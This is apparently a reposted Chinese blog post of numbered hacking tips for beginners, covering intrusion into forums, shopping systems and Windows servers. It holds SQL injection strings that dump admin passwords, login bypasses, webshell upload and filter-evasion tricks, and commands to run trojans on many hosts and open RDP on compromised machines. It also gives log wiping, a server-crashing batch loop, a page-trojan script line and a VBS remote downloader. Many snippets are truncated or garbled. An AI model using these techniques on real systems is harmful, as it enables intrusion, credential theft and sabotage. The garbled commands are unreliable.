转载▼
标签：
转载 |
原文地址：黑客入侵网络的50种方法作者：Angel
for /f %%i in (扫描地址.txt) do at %%i 09:50 pc.exe 在对方计算机上运行木马的时间
扫描地址.txt里每个主机名一行 用\开头
22.搜索 Powered by Discuz!4.0.0RC3 开放头像的可利用 工具地址www.hack6.com
23.DV7.1用还原数据功能 还原asa木马
24.凡人网络购物系统V6.0 可以%5c暴库
25.IPB2.0.2漏洞 构造语句
$qpid=1) and 1=2 union select 1,2,3,4,5,6,7,8,9,10,member_login_key,12,13,14,15,16,17,18,19,1 from ibf_members where id=1 /* 暴管理员密码 想看动画到黑基里找 IPB<= 2.0.3论坛注入工具 www.hack6.com有下载
26. 将工具传到邮箱 在下载上右击 复制快捷方式 拥有自己了的下载空间
27.北京冲QB要宽带号跟绑定宽带的后4位电话,当你扫出北京款待号的密码必须是8位的密码,而且开头是6或8的才可以,因为北京的电话都是6根8开头的而且都是8位的,北京的区名海淀 东城 西城 门头沟 丰台 潮阳 宣武 通州 昌平,去http://cnc.qq.com/bbn/冲
28.搜索 企业网络办公系统 添'or''=' 登陆 在个人邮箱 上传asp木马
29.本人原创 搜索"一点点星空驿站 留言本" 默认数据库是gbmdb.mdb 很多网站用这个留言本 但是用搜索引擎搜不到 可以给大家在入寝时多个思路
30.在程序上传shell过程中，程序不允许包含标记符号的内容的文件上传,比如蓝屏最小 的asp木马,我们来把他的标签换一下： 保存为.asp,程序照样 执行.
31.目录权限设置变态的话可以用一些方法(比如serv-u溢出)将此web用户提权 可访问全站目录挂马
32.喜欢网页挂马的看看这篇总结文章吧
http://77119.com/News/hk/2005060611656.html
33.搜索"images/admin" 或".tw/images/admin" 可以找到些台湾的数据库
34.IIS6 For Windows 2003 Enterprise Edition 如IIS发布目录文件夹包含.asp后辍名.
将.asp后辍改为.jpg或其它的如.htm,也可以运行asp,但要在.asp文件夹下.
.cer 等后缀的文件夹下都可以运行任何后缀的asp木马
35.telnet一台交换机 然后在telnet控制主机 控制主机留下的是交换机的IP
然后用#clear logg和#clear line vty *删除日志
36.搜索关键字:"Copyright 2003-2004 动易网络" 后面地址改成upfile_soft.asp 这样的漏洞很多
37.bbsxp的漏洞总结 Powered by BBSxp 5.15/Licence blog.asp中的对id 的过滤不严的漏洞 拿到管理员的前后台密码 工具：bbsxp完全版 cookies 欺骗 bbsxp 过滤了 asp 文件的上传 所以我们这里用 asa 来传马
38.学会总结入侵思路http://www.77119.com/News/hk/2005060811688.html
39.电脑坏了省去重新安装系统的方法
纯dos下执行，
xp:copy C:WINDOWSrepair*.* 到c:windowssystem32config
2k: copy C:winntrepair*.* 到c:winntsystem32config
40.一般人设置啊拉QQ大盗的时候发信和收信都是同一个信箱，因此当我的机子中了此木马后没有立即杀掉进程，而是用内存编辑工具打开它的进程，查找smtp字样，就会找到它的信箱和密码了。只对1.5以前的管用.
41.内网控制内网 用vidc 还要有一只肉鸡 动画看黑基的
http://soft.77119.com/62/20050608/6878.html
42.有许多管理员用备份的日期做备份数据库的名字
比如http://www.hack6.com/bbs/databackup/20050601.mdb
43.动网数据库oldusername=%B5%F0%B7%C0&username2=%B5%F0%B7%C0& password2=19841202&adduser=%B5%F0%B7%C0&id=12&Submit=%B8%FC+%D0%C2
不知道用户名(不是%B8%F0%B7%C0) 转化这个用他本身的页面
http://www.hack6.com/bbs/showerr.asp?BoardID=0&ErrCodes=10,11&action=%CC%EE%D0%B4%B5%C7%C2%BC%D0%C5%CF%A2
%CC%EE%D0%B4%B5%C7%C2%BC%D0%C5%CF%A2这句话意思是“填写登录信息”
那么就把%CC%EE%D0%B4%B5%C7%C2%BC%D0%C5%CF%A2换成%B5%F0%B7%C0 可以看到用户名
44.对付信息监控系统 木马必须是加密的 如net user用不了就用net1 user等等 我是大连的 大连这边主机用这方法好用 可以直接传加密的马 用用黑基tyrant的方法 上传一个cmd的aspshall 用nc连接自己的nc监听端口 在web目录下写个加ftp用户的txt 本地43958用nc提交 ftp到服务器加用户 45.解决TCP/IP筛选 在注册表里有三处，分别是：
HKEY_LOCAL_MACHINESYSTEMControlSet0
HKEY_LOCAL_MACHINESYSTEMControlSet0
HKEY_LOCAL_MACHINESYSTEMCurrentCont
分别用
regedit -e D:a.reg HKEY_LOCAL_MACHINESYSTEMCurrentCont
regedit -e D:b.reg HKEY_LOCAL_MACHINESYSTEMControlSet0
regedit -e D:c.reg HKEY_LOCAL_MACHINESYSTEMCurrentCont
命令来导出注册表项
然后把三个文件里的EnableSecurityFilters"=dword:00000001，
改成EnableSecurityFilters"=dword:00000000 再将以上三个文件分别用
regedit -s D:a.reg regedit -s D:b.reg regedit -s D:c.reg 导入注册表即可
46.使CHM木马无法在本地运行木马程序 将注册表"HKEY_CURRENT_U
SERSoftwareMicrosoftWind
47.开3389的5种方法
(1)打开记事本，编辑内容如下：
echo [Components] > c:sql
echo TSEnable = on >> c:sql
sysocmgr /i:c:winntinfsysoc.inf /u:c:sql /q
编辑好后存为BAT文件，上传至肉鸡，执行。
(2) (对xp2000都有效) 脚本文件 本地开3389 工具:rots1.05
下载地址:www.netsill.com/rots.zip
在命令行方式下使用windows自带的脚本宿主程序cscript.exe调用脚本，例如：
c:>cscript. ROTS.vbs <目标IP> <用户名> <密码> [服务端口] [/r]
如果要对本地使用，IP地址为127.0.0.1或者一个点(用.表示)，用户名和密码都为空(用 ""表示)。
(3)djshao正式版5.0
解压djshao5.0.zip,用你的随便什么方法把把解压出来的djxyx*.**e上传到肉鸡的c:winnttemp下，然后 进入c:winnttemp目录执行djxyx*.**e解压缩文件，然后再执行解压缩出来的azzd.exe文件，等一会肉鸡 会自动重启!重启后会出现终端服务
(4)下载DameWare NT Utilities 3.66.0.0 注册版
地址www.netsill.com/dwmrcw36600.zip
安装注册完毕后输入对方IP用户名密码，等待出现是否安装的对话框点是。
复制启动后出现对方桌面。
在对方桌面进入控制面版，点添加或删除程序。进入后点添加/删除windows组件，找到终端服务，点际进入 后在启动终端服务上打上勾。确定自动提示重起，重起后OK
(5)大家最常用的 3389.exe 下载地址www.hack6.com 把程序上传到肉鸡运行后重启既可
48.QQ上得到别人的IP
一般跟别人聊天 如果是对方先对你说话 那么她的IP显示出来的概率就大
当然如果是我们找对方 可以先跟她说发过去消息之后 然后关闭窗口等待她的回复
还可以用天网防火墙选择上UDP数据保检测,即可拦截到对方ip
49.挂马js代码document.write('');保存到js页面里 可让所有页面挂马
50.让服务器重启
写个bat死循环:
@echo off
:loop1
cls
start cmd.exe
goto loop1
保存成bat guset权限就可以运行 运行后很快服务器就会死机 管理员自然会去重启欢迎访问www.hack6.com
上次总结网宽网络的漏洞,他们的负责人找过我,我在这里声明我从没有黑过网宽网络的相关任何站点,这个负责人满口脏话,素质有待提高.而且他说他从没有把任何他做的企业网站放在眼里,还故意加了漏洞,这是他的原话,真可悲呀.
各大黑客网站每天更新的新闻不少，可适合菜鸟的很少，希望我总结的文章菜鸟能看懂并消化。
以下6条是我希望大家做个动画出来的，我想做但没时间啊,我忙着做毕业论文“城市污水脱氮除磷”，郁闷啊，做动画的时候别忘了提一下我阿汀呀：）
动网7.1又出现固顶漏洞，只要有固定权限就能提升为管理员。
Serv-U6.0.0.2的将用户密码存在注册表里的漏洞，本地构造注册表用户导入。
这个月我终于在网上下载到了Windows
利用Ewebeditor得到webshall的漏洞，主要因为管理员没改默认设置。
有时候遇到2003的机子，权限bt,有了webshell，但是什么也干不了，可以传个aspx的马看看，一般管理员加强了asp的权限设置，却忽略了系统帐号asp.net。
有时候上传过滤掉了字符”asp”,但是我们改为“aaspsp”即可
下面继续总结这十天的动画：
51.这个软件大家一定要会用
psu.exe
然后开3389
52．搜索wishshow.asp?id=
注意：显示友好HTTP信息这个钩一定要去掉
然后用%5c暴库，MDB格式，直接下载，如果是asp,asa格式，插一句话木马到许愿内容里
53．显示友好HTTP信息这个钩先去掉
搜索
后面加个upfile.asp
54．如果你登录肉鸡的3389时发现有cmd一闪而过，那你可要小心了，管理员写了个bat在监视你，
@echo
date
time
attrib
attrib
netstat
并保存为3389.bat
打开注册表找到：Userinit这个键值
55．有时候提不了权限的话，试试这个命令，在命令行里输入：
start
输入：netstat
56．有时候默认安装会留下phpcksec.php这个文件，可以远程查看系统文件
比如http://206.123.66.205/phpcksec.php?path=c:
57．QQ还有翻译功能
58．在cmd下用ftp上传马方法,我们可以用echo
echo
echo
echo
echo
echo
echo
然后执行ftp
59．如果你在外网那就简单了，不用第58条那么麻烦，这招大家都会，复习一下吧
本地用具开tftp服务
60．Hide
61。上次总结介绍了开3389的五种方法，这次再介绍两种
（1）win2000下开终端
echo
echo
echo
echo
NTCurrentVersionWinlogon
echo
echo
>>3389.reg
echo
echo
>>3389.reg
echo
echo
echo
echo
>>3389.reg
echo
echo
echo
echo
ServerWdsrdpwdTdstcp]
echo
echo
ServerWinStationsRDP-Tcp]
echo
把这些ECHO代码到CMDSHELL下贴粘就可以生成3389.reg文件，接着regedit
(如果要改变终端端口只须把上面的两个D3D都改一下就可以了)
因为win
（2）winxp和win2003终端开启
用以下ECHO代码写一个REG文件：
echo
echo
Server]>>3389.reg
echo
echo
ServerWdsrdpwdTdstcp]>>3389.reg
echo
echo
ServerWinStationsRDP-Tcp]>>3389.reg
echo
然后regedit
XP下不论开终端还是改终端端口都不需重启
62.
“本站仅提供影视欣赏方面的信息和链接，由所有网友一起维护，相关连接内容版权归原网站所有，影片版权归相关影音公司所有，相关链接站点提供观看的影片仅供宽带网用户测试研究用途，如侵犯到你的权利速通知我们，我们确认之后将立即清除”
其中很多站点都有注入漏洞的
63．需要0825版QQ，先用QQ号码生成器生成字典（密码相同），然后导入qq扫号辅助工具eQQPass来破解一组QQ号码。
64．有时我们注入网站时管理员帐号和密码已成功猜解,但就是找不到后台，可以用flashget试试找一下,复制网站地址比如http://www.hack6.com,打开flashget，进入工具——站点资源探索器，粘贴地址，登陆，也许就能找到后台
65．加强数据库安全
（1）数据库文件名应复杂并要有特殊字符
（2）不要把数据库名称写在conn.asp里，要用ODBC数据源
将conn.asp文档中的
DBPath
conn.Open
修改为：conn.open
（3）不放在WEB目录里
66．找到SA密码为空的肉鸡一定要第一时间改SA密码，防止别人和我们抢肉吃
用查询分析器运行
67．登陆终端后有两个东东很危险，query.exe和tsadmin.exe要Kill掉
可以写两个bat文件
@echo
@copy
@del
@del
@copy
@echo
@copy
@del
@del
68．映射对方盘符
telnet到他的机器上，
net
net
net
在自己的机器上运行
net
69.一些很有用的老知识
type
net
query
net
net
net
ipconfig
netstat
findpass
克隆时Administrator对应1F4
guest对应1F5
tsinternetuser对应3E8
70.如果对方没开3389，但是装了Remote
用这个命令F:ftp.exe
解释：用serv-u漏洞导入自己配制好的radmin的注册表信息
先备份对方的F:ftp.exe
71．动网超市插件默认数据库
72．打破QQ好友500人的上限，QQ的上限只能加到500人左右，步骤如下：我的电脑由 于有很多个盘所以下载了2个客户端第一个在D盘第2个在C盘我以前一直上第一个客户端了把好友加到了500个满了接下来呢我换上第2个客户端然后删除一部 分好友，然后在加满500人加这500人不要和删除的那些人重复，在返回第一个客户端由于系统缓存还驻留着以前的好友信息，在加上新更新的信息所以就可以 突破QQ好友上限的限制了
73．搜索关键词：动网先锋论坛-论坛首页，这个是默认的，如果有人这个没修改的话就意味这可能管理员没修改密码或是新装的论坛可以利用下
74．搜索.com
75．搜索普世购物系统，后台管理员的默认帐号和密码是：admin1
76，有时候入侵网站，后面加上/xyvod/，这是AspShop电影欣赏系统的数据库路径，用AspShop电影欣赏系统数据库下载数据库，后台登陆。
77．免费开通商务伴侣教程，先用TM登陆，点上面的商务伴侣，再进入我的商务伴侣，继续点开通我的商务伴侣，现在商务伴侣已经激活了，点免费使用即可。
78.
79．Bo-Blog的新漏洞出现，网址/index.php?job=../admin/ban，
然后将下列代码存为htm，然后插一句话马到禁止搜索的bansearch.php里
80.
http://www.163.com"
表面看是163的网页，实际是中了马
81．打击六合彩！搜索“请各位验证会员料”，网址/ziyu/1login.asp，把最后的换成conn.inc，可以看到数据库。
82．用lcx做内网端口映射，先在肉鸡上监听
本地上运行映射，lcx
82.用p2p软件散播木马很快的，没鸡的朋友试试。
83．蓝雨设计整站有SQL注入漏洞
84．在服务器写入vbs脚本下载指定文件（比如用nbsi利用注入漏洞写入）
echo
^"GET^",LCase(WScript.Arguments(0)),0:x.Send():Set
CreateObject(^"ADODB.Stream^"):s.Mode
1:s.Open():s.Write(x.responseBody):s.SaveToFile
（这是完整的一句话，其中没有换行符）
然后下载:
cscript
85．有时候用老版加壳软件给马加壳效果更好。
没有评论:
发表评论